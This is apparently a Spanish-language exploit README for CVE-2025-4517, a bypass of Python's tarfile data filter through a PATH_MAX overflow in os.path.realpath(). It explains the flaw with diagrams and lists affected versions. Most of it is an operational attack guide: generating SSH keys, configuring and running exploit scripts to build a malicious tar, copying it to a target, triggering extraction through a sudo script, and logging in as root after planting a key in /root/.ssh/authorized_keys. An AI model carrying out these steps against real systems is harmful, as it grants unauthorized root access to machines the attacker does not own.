
Bypass del filtro de datos de tarfile de Python mediante desbordamiento de PATH_MAX en os.path.realpath() - CVE-2025-4517 / CVE-2025-4330
tarfile Omisión del Filtro de Datos mediante Desbordamiento de PATH_MAXAutor: 0xDTC CVEs: CVE-2025-4517 / CVE-2025-4330 Aviso: GHSA-6r6c-684h-9j7p Corrección de CPython: PR #135037
El método tarfile.extractall(filter="data") de Python está diseñado para extraer archivos tar de forma segura evitando el path traversal (rutas absolutas, secuencias .. y enlaces simbólicos que escapan del destino). Sin embargo, un error en os.path.realpath(strict=False) permite omitir este filtro por completo.
Cuando la ruta resuelta supera PATH_MAX (4096 bytes en Linux), os.path.realpath() deja de resolver enlaces simbólicos silenciosamente y recurre a manipulación de cadenas. Esto significa que una cadena de enlaces simbólicos cuidadosamente elaborada puede engañar a Python haciéndole creer que un enlace simbólico se resuelve dentro del directorio de extracción cuando en realidad escapa a /.
| Rama | Afectado | Corregido en |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
El exploit construye un archivo tar que contiene:
realpathLa idea central: seguir a/b/c/.../p a través de enlaces simbólicos cortos se mantiene por debajo de PATH_MAX, pero realpath expande cada uno al nombre real del directorio de ~240 caracteres. Cuando alcanza el nombre de enlace de 254 caracteres, la ruta resuelta supera los 4096 bytes y realpath se rinde, devolviendo silenciosamente un resultado incorrecto.
flowchart TD
A["El atacante crea un tar malicioso"] --> B["el tar contiene:
16 pares dir/enlace simbólico
enlace de escape de 254 caracteres
enlace 'escape' a /
archivo de carga"]
B --> C["El objetivo extrae con
tarfile.extractall(filter='data')"]
C --> D{"Python resuelve enlaces simbólicos
mediante os.path.realpath()"}
D --> E["Sigue enlaces cortos a→ddd...d
La ruta resuelta crece con cada paso"]
E --> F{"¿Longitud de ruta resuelta
> PATH_MAX (4096)?"}
F -->|"No (normal)"| G["realpath resuelve correctamente
Enlace bloqueado por el filtro ✓"]
F -->|"Sí (¡desbordamiento!)"| H["realpath DEJA de resolver
Recurre a manipulación de cadenas"]
H --> I["Python cree que el enlace
se resuelve DENTRO del directorio de extracción"]
I --> J["El filtro PERMITE el enlace ✗"]
J --> K["El SO sigue el enlace correctamente
'escape' se resuelve a /"]
K --> L["La carga se escribe en
un archivo arbitrario en el disco"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fff
sequenceDiagram
participant A as Máquina Atacante
participant T as Máquina Objetivo
Note over A: Fase 1 — Preparación
A->>A: Generar par de claves SSH (ssh-keygen)
A->>A: Configurar variables del exploit<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
A->>A: Ejecutar CVE-2025-4517.py o .go<br/>para generar tar malicioso
Note over A,T: Fase 2 — Entrega
A->>T: Transferir tar malicioso al objetivo<br/>(scp, wget, curl, ftp, etc.)
T->>T: Colocar tar en ubicación accesible<br/>para el script vulnerable
Note over T: Fase 3 — Explotación
T->>T: Desencadenar extracción mediante el<br/>script vulnerable de Python
T->>T: Python llama a tarfile.extractall(filter="data")
Note over T: Lo que Python ve vs realidad
T->>T: realpath() se desborda en PATH_MAX
T->>T: El filtro cree que el enlace 'escape' es seguro
T->>T: El SO sigue 'escape' → se resuelve a /
T->>T: Carga escrita en /root/.ssh/authorized_keys
Note over A,T: Fase 4 — Acceso
A->>T: SSH como root usando la clave escrita
T-->>A: Shell de root obtenida
graph LR
subgraph "Miembros del Tar (extraídos en orden)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 niveles..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(contenido de la carga)"]
end
S1 -.->|"ruta corta<br/>se mantiene pequeña"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 caracteres empujan<br/>más allá de PATH_MAX"| S5
S5 -.->|"se resuelve a /"| F1
Ambos scripts tienen una sección de configuración al inicio con estas variables:
| Variable | Descripción | Ejemplo |
|---|---|---|
DEST_DIR | Ruta completa al directorio de extracción en el objetivo | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | Número de directorios desde / hasta DEST_DIR | 4 para /opt/app/staging/dir/ |
TARGET_FILE | Archivo a escribir, relativo a / | root/.ssh/authorized_keys |
PAYLOAD | Contenido a escribir en el archivo de destino | Su clave pública SSH |
OUTPUT | Nombre del archivo tar de salida | Debe coincidir con el patrón esperado del objetivo |
Opción A: Python
# 1. Generar par de claves SSH
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Editar CVE-2025-4517.py — actualizar DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
# 3. Generar el tar malicioso
python3 CVE-2025-4517.py
# 4. Transferir al objetivo
scp backup_99.tar user@target:/path/to/backups/
Opción B: Go
# 1. Generar par de claves SSH
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Editar CVE-2025-4517.go — actualizar destDir, depthToRoot, payload, output
# 3. Generar el tar malicioso
go run CVE-2025-4517.go
# 4. Transferir al objetivo
scp backup_99.tar user@target:/path/to/backups/
# Desencadenar extracción mediante el script vulnerable de Python
# El comando exacto depende de cómo se invoque el script objetivo
# Ejemplo:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# SSH como root usando la clave colocada
ssh -i root_key root@target
Cuenta el número de directorios desde / hasta tu ruta de extracción:
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
Cualquier script de Python que utilice tarfile.extractall() con filter="data" en una versión afectada es potencialmente explotable:
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # VULNERABLE